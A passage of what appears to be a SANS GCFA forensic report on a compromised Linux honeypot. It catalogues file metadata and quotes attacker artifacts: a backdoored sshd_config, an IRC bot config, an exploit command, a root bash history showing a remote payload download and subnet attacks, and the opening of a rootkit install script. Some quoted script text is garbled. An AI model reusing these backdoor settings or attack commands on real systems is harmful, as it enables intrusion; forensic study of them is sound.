reboot -f

eelif [ "$rc" = "1" ] -a -x /sbin/quotacheck ]; then
    _RUN_QUOTACHECK=1
fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# filesystems are NOT unmounted in single user mode.
action "Mounting local filesystems: "; mount -a -t nonfs,smbfs,ncpfs -O no_netdev

# check remaining quotas other than root
if [ X:"_RUN_QUOTACHECK" = X1 ] -a -x /sbin/quotacheck ]; then
    if [ -x /sbin/quotacheck ]; then
        # try to convert old quotas
        for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
            action "Converting old user quota files: " /sbin/convertquota -u $mountpt &&
            rm -f $mountpt/quota.user
            if [ -f "$mountpt/quota.group" ]; then
                action "Converting old group quota files: " /sbin/convertquota -g $mountpt &&
                rm -f $mountpt/quota.group
            done
        if [ -x /sbin/quotactl ]; then
            action "Enabling local filesystem quotas: " /sbin/quotactl -a
        fi
    fi

    # Configure machine if necessary.
    if [ -f /.unconfigured ]; then
        if [ -x /sbin/passwd ]; then
            /sbin/passwd root
        if [ -x /sbin/netconfig ]; then
            /sbin/netconfig
        fi
        if [ -x /sbin/timeconfig ]; then
            /sbin/timeconfig
        fi
        if [ -x /sbin/kbdconfig ]; then
            /sbin/kbdconfig
        fi
        if [ -x /sbin/authconfig ]; then
            /sbin/authconfig --nostart
        fi
    fi
fi

© SANS Institute 2004,
As part of GIAC practical repository. 
Author retains full rights.
fi
if [ -x /sbin/ntsysv ]; then
  /sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
  /etc/sysconfig/network
fi

# Reset the hostname.
action "Resetting hostname $HOSTNAME": " hostname $HOSTNAME"
fi

rm -f /unconfigured

# Clean out /etc.
rm -f /fastboot /fsckoptions /forcefsck /.autofsck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
_NEED_XFILES= [ ! -f /var/run/utmpx ] & & _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
  if [ -d "$afile" ]; then
    if [ "$basename $afile" != "news" -a "$basename $afile" != "sudo" -a "$basename $afile" != "mon" ]; then
      rm -f $afile/*
    else
      rm -f $afile
    fi
  done
rm -f /var/lib/rpm/__db*

# Reset pam_console permissions
[ -x /sbin/pam.console_apply ] & & /sbin/pam.console_apply -r

# Clean up utmp/wtmp
> /var/run/utmp
touch /var/log/wtmp
chgrp utmp /var/run/utmp /var/log/wtmp
chmod 0664 /var/run/utmp /var/log/wtmp
if [ ! -n "$_NEED_XFILES" ]; then
  > /var/run/utmp
  touch /var/log/wtmp
  chgrp utmp /var/run/utmp /var/log/wtmp
  chmod 0664 /var/run/utmp /var/log/wtmp
fi

# Delete X locks
rm -f /tmp/.X*lock

# Delete VNC & X locks
rm -rf /tmp/.X*unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL.*

# Now turn on swap in case we swap to files.
swapon -a
action "Enabling swap space": " /bin/true

# Initialize the serial ports.
if [ ! -f /etc/rc.serial ]; then
  . /etc/rc.serial
fi
# If a SCSI tape has been detected, load the st module unconditionally
if [ -f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -qv ' 9 st' /proc/devices ; then
    # Try to load the module. If it fails, ignore it...
    insmod -p st >/dev/null 2>&1 && modprobe st >/dev/null 2>&1
  fi
fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ] ; then
  modprobe usb-storage >/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd >/dev/null 2>&1
  modprobe ide-scsi >/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [ -e /proc/ide ] ; then
  for N in `grep -v ide-disk /proc/ide/*/driver 2>/dev/null | awk '{ print $5 }'`; do
    hdparm -q -d0 /dev/$N >/dev/null 2>&1
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
#

if [ -x /sbin/hdparm ]; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [ -f /etc/sysconfig/harddisk$device ]; then
      . /etc/sysconfig/harddisk$device
      HDFLAGS[$device]=
      if [ -n "MULTIPLE_IO" ]; then
        HDFLAGS[$device]="-q -m$MULTIPLE_IO"
      fi
      if [ -n "USE_DMA" ]; then
        HDFLAGS[$device]="-q -$USE_DMA"
      fi
      if [ -n "EIDE_32BIT" ]; then
        HDFLAGS[$device]="$[HDFLAGS[$device]] -q -$EIDE_32BIT"
      fi
      if [ -n "LOOKAHEAD" ]; then
        HDFLAGS[$device]="$[HDFLAGS[$device]] -q -$LOOKAHEAD"
      fi
      if [ -n "EXTRA_PARAMS" ]; then
        HDFLAGS[$device]="$[HDFLAGS[$device]] $EXTRA_PARAMS"
      fi
    else
      HDFLAGS[$device]="$[HDFLAGS[$device]] $EXTRA_PARAMS"
    fi
  done
fi
HDFLAGS[$device]="$\{HDFLAGS[0]\}\"
fi
if [ -e "/proc/ide/$disk[device]/media" ]; then
    hdmedia=`cat /proc/ide/$disk[device]/media`
    if [ "$hdmedia" = "disk" ] ; then
        action "Setting hard drive parameters for $disk[device]": "/sbin/hdpa rm $\{HDFLAGS[device]\} /dev/$disk[device]
    fi
fi
done

fi

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System maps and so on.
if [ -L /boot/System.map -a -r /boot/System.map-uname-r -a 
    ! /boot/System.map -ef /boot/System.map-uname-r ]; then
    ln -s -f System.map-uname-r /boot/System.map
fi
if [ ! -e /boot/System.map -a -r /boot/System.map-uname-r ]; then
    ln -s -f System.map-uname-r /boot/System.map
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
shopt -s nullglob
for library in /lib/kernel/$(uname -r)/libredhat-kernel.so* ; do
    ln -s -f $library /lib/
done
shopt -u nullglob

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ]; do
    if [ -f /var/log/ksyms.$i ]; then
        mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
    fi
    i=$(($i - 1))
done

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
dmesg -s 131072 > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ]; do
    if [ -f /var/log/ksyms.$i ]; then
        mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
    fi
    i=$(($i - 1))
done

# create the crash indicator flag to warn on crash/es, offer fsck with timeout
touch /autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1
if [ "$PROMPT" != "no" ]; then
    /sbin/getkey i && touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\sshd_config
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value ce630951c72096d9ef1d3b12f309b281
Physical Size 1,024
Logical Size 707

Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSASecurityAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

**Config files**

httpd configuration files

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/20/03 02:17:32AM</td>
<td>06/29/03 04:02:23AM</td>
<td>5cf0c5e40cc02c415b7b1c6f325e6c</td>
<td>1,024</td>
<td>285</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/27/03 02:11:35PM</td>
<td>06/29/03 04:02:23AM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report  Page 236

42) Name  srm.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value b0366af9aad99e07515bbdc255e9a23
Physical Size  1,024
Logical Size  297

43) Name  httpd.conf.bak
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified 06/27/03 02:08:34PM
Last Accessed 06/27/03 02:08:34PM
Last Written 04/09/02 12:56:58PM
Hash Value 55d44549fa2d844e59257b0f6286e197
Physical Size 52,224
Logical Size 51,270

**Root kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name  samba.tgz
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified 06/29/03 03:41:42PM
Last Accessed 06/29/03 03:41:42PM
Last Written 04/29/03 06:48:30AM
Hash Value 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size 13,312
Logical Size 13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name  README
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>LinkEvents</strong></td>
<td><strong>File</strong></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\LinkEvents</td>
<td>06/29/03 03:43:55PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:43:55PM</td>
<td>1,024</td>
<td>80</td>
</tr>
<tr>
<td><strong>mech.set</strong></td>
<td><strong>File</strong></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.set</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>01/29/03 05:11:38PM</td>
<td>2,048</td>
<td>1,150</td>
</tr>
<tr>
<td><strong>checklpd</strong></td>
<td><strong>File</strong></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\checklpd</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>1,024</td>
<td>942</td>
</tr>
<tr>
<td><strong>lpd.usr</strong></td>
<td><strong>File</strong></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\lpd.usr</td>
<td>06/29/03 07:00:27PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 07:00:27PM</td>
<td>1,024</td>
<td>352</td>
</tr>
<tr>
<td><strong>M4c4r0n.seen</strong></td>
<td><strong>File</strong></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\M4c4r0n.seen</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:20:20PM</td>
<td>1,024</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>---</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>51)</td>
<td>configure</td>
<td>472</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\configure</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:34:10PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>2b3e480699a38040311204311204acc1a4224b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>20,480</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>20,290</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

| 52) | MrIdiot.seen | 1,024 |
| Description | File |          |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.font-unix\X11-pipe\MrIdiot.seen |          |
| Entry Modified | 06/29/03 07:10:27PM |          |
| Last Accessed | 06/29/03 03:35:40PM |          |
| Last Written | 06/29/03 07:10:27PM |          |
| Hash Value | 0938f960b7f4f7e28e7ff8e35cab9a4 |          |
| Physical Size | 2,048 |          |
| Logical Size | 1,085 |          |

| 53) | mech.levels | 1,024 |
| Description | File |          |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.font-unix\X11-pipe\mech.levels |          |
| Entry Modified | 06/30/03 04:00:00PM |          |
| Last Accessed | 06/29/03 03:34:10PM |          |
| Last Written | 06/30/03 04:00:00PM |          |
| Hash Value | dc8afcco7717b77f912f36c033d31 |          |
| Physical Size | 2,048 |          |
| Logical Size | 1,085 |          |

| 54) | mech.pid | 1,024 |
| Description | File |          |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.font-unix\X11-pipe\mech.pid |          |
| Entry Modified | 06/29/03 03:32:59PM |          |
| Last Accessed | 06/29/03 03:34:10PM |          |
| Last Written | 06/29/03 03:32:59PM |          |
| Hash Value | 01548d54a5a49e425836046ded9fcb8 |          |
| Physical Size | 1,024 |          |
| Logical Size | 6 |          |

| 55) | mech.session | 1,024 |
| Description | File |          |
| Full Path | Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\\tmp\.font-unix\X11-pipe\mech.session |          |
| Entry Modified | 06/30/03 04:00:00PM |          |
| Last Accessed | 06/29/03 04:00:24PM |          |
| Last Written | 06/30/03 04:00:00PM |          |
| Hash Value | e5da1d9a1274662c8aa181c0e66c875 |          |
| Physical Size | 1,024 |          |
Logical Size 374

Comment: IRC server config file.

```
lkport -1
nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1

tog AOP 1
tog SHIT 1
tog PROT 1

tog PROT 1

tog PROT 1

tog PROT 1

tog PROT 1

tog PROT 1

tog PROT 1

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
```
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 9877c324eb9b24b5464f9e3fe4176460
Physical Size 1,024
Logical Size 519

59) Name randsay.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 33ea5ec3e5dc626799b5bb567f06d217
Physical Size 56,320
Logical Size 55,316

60) Name randversions.e
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value 0b252e189020453aad18b93913e44ec3
Physical Size 2,048
Logical Size 1,465

61) Name com-ons.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:14:04AM
Hash Value daf8812cc62b784f6d5a10ef388288d7
Physical Size 28,672
Logical Size 28,470

62) Name com-ons.o
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:22PM
Hash Value 1f39ee4b22d6e67cae4269eccf6ad55e
Physical Size 92,160
Logical Size 91,656

63) Name commands.c
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>06/29/03 03:32:50PM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>02/27/01 07:15:16AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>a1b52263b8a66d7c90fc549ef70230c4</td>
</tr>
<tr>
<td>Physical Size</td>
<td>41,984</td>
</tr>
<tr>
<td>Logical Size</td>
<td>41,966</td>
</tr>
</tbody>
</table>

64) Name: commands.o  
Description: File  
Full Path: /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/commands.o  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 08/27/01 02:00:26PM  
Hash Value: 8ab8813b5d0f080b7aead258c9ffc958  
Physical Size: 109,568  
Logical Size: 109,244

65) Name: gencmd  
Description: File  
Full Path: /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/gencmd  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 08/27/01 02:00:18PM  
Hash Value: 6f929c94c8a39954c7099b73c42ebf65  
Physical Size: 56,320  
Logical Size: 55,666

66) Name: dcc.c  
Description: File  
Full Path: /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/dcc.c  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 10/09/00 06:22:02PM  
Hash Value: e079886945868c0d4a5e4952b4cbbb0  
Physical Size: 10,240  
Logical Size: 9,929

67) Name: defines.h  
Description: File  
Full Path: /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/defines.h  
Entry Modified: 06/29/03 03:32:50PM  
Last Accessed: 06/29/03 03:32:50PM  
Last Written: 10/09/00 06:22:02PM  
Hash Value: 854b211a185d795497cc0a21c7778249  
Physical Size: 5,120  
Logical Size: 4,508

68) Name: debug.o  
Description: File  
Full Path: /Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-\unix/.X11-pipe/src/debug.o
## EnCase Computer Analysis Report

**Sans GCFA Cert Assignment**

<table>
<thead>
<tr>
<th>Number</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>69)</td>
<td>link.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/link.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>eb3e3d5dadd0e19b6b69a9e24ff790b2</td>
<td>64,512</td>
<td>64,160</td>
</tr>
<tr>
<td>70)</td>
<td>global.h</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/global.h</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:12:04PM</td>
<td>95dfe25136ed84b2c53ee8353761a23</td>
<td>97,280</td>
<td>96,896</td>
</tr>
<tr>
<td>71)</td>
<td>link.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/link.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>e6115dc63c46b08548e077a17da645aa</td>
<td>12,288</td>
<td>12,044</td>
</tr>
<tr>
<td>72)</td>
<td>gencmd.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/gencmd.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:30:22AM</td>
<td>07ead92b41b11fc50b02468748b5fd8</td>
<td>47,104</td>
<td>46,547</td>
</tr>
<tr>
<td>73)</td>
<td>parse.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/parse.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td></td>
<td>9,216</td>
<td>8,983</td>
<td></td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:34PM
Hash Value f3abbd84ec27e1badf4af1b480b31938
Physical Size 76,800
Logical Size 76,756

74) Name  cfgfile.c
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:14:22PM
Hash Value ee752441cd67aec374e1d77ab4630977
Physical Size 17,408
Logical Size 16,951

75) Name  cfgfile.o
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\cfgfile.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:20PM
Hash Value 0a445c0fa05cf6b6d3c4af0ffce2
Physical Size 71,680
Logical Size 71,392

76) Name  socket.c
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\socket.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value b47201862975f1ee5b7879658822cdf1
Physical Size 11,264
Logical Size 10,616

77) Name  services
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\inetd\services
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 03/15/02 07:27:40PM
Hash Value a964f156ab911428a2ae6e8349842f13
Physical Size 475,136
Logical Size 474,596

78) Name  userlist.o
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\userlist.o
EnCase Computer Analysis Report

79) Name: usage.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\usage.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/27/01 02:00:36PM
Hash Value: 2e7bbdad4579b0c5b9609ad1be0ed02f
Physical Size: 74,752
Logical Size: 74,592

80) Name: vars.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: de3238096016c1c151d99126cb6b4a95
Physical Size: 5,120
Logical Size: 5,001

81) Name: xmech.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:38PM
Hash Value: 43ca3fc3c7bf56e00c75677de8ed6c43
Physical Size: 10,240
Logical Size: 10,190

82) Name: Makefile
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\Makefile
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 01:50:36PM
Hash Value: b0154c6a0911fcbbe31669c9d756753
Physical Size: 3,072
Logical Size: 3,020

83) Name: solo
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba\solo
Entry Modified: 06/29/03 03:41:56PM
Comment: This is an attack script from the samba.tgz file.

```
./samba -v -p $3 -d 300000 -C 99 -b $2 $1
```

84) Name: .bash_history
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified: 06/29/03 05:21:44PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 06/29/03 05:21:44PM
Hash Value: da617ff22a9bdf3508ada5a86d10217e
Physical Size: 3,072
Logical Size: 2,477


```bash
unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font-unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
./samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis `tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126
```

EnCase Computer Analysis Report

85) Name: weit
Description: File
Full Path: /usr/bin/weit
Entry Modified: 06/29/03 03:22:10PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 03/24/02 07:23:19PM
Hash Value: 2b008592a46a5a52008ba46a27116833
Logical Size: 20,914

Comment: Root kit files

Files from s.tar.gz

These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus (http://www.sophos.com/virusinfo/analyses/linuxrstb.htm).

86) Name: install
Description: File
Full Path: /tmp/.s/install
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:21PM
Last Written: 03/24/03 09:37:31PM
Hash Value: 5ab9ac0a738a7f78c85f553738f3869d
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

EnCase Computer Analysis Report

Physical Size 12,288
Logical Size 12,139

Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh
# =----------------------------------------------------------=
cl=". [0m"
cyn=" [36m"
wht=" [37m"
hblk=" [1;30m"
hgrn=" [1;32m"
hcyn=" [1;36m"
hwht=" [1;37m"
hred=" [1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin
echo "Installing" /install.log
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslog /etc/rc.d/init.d/functions >>install.log 2>&1
chattr -iau /usr/local/sbin/sshd /usr/sbin/sshd /bin/ps /bin/netstat /bin/ls /usr/bin/du /usr/bin/find >>install.log 2>&1
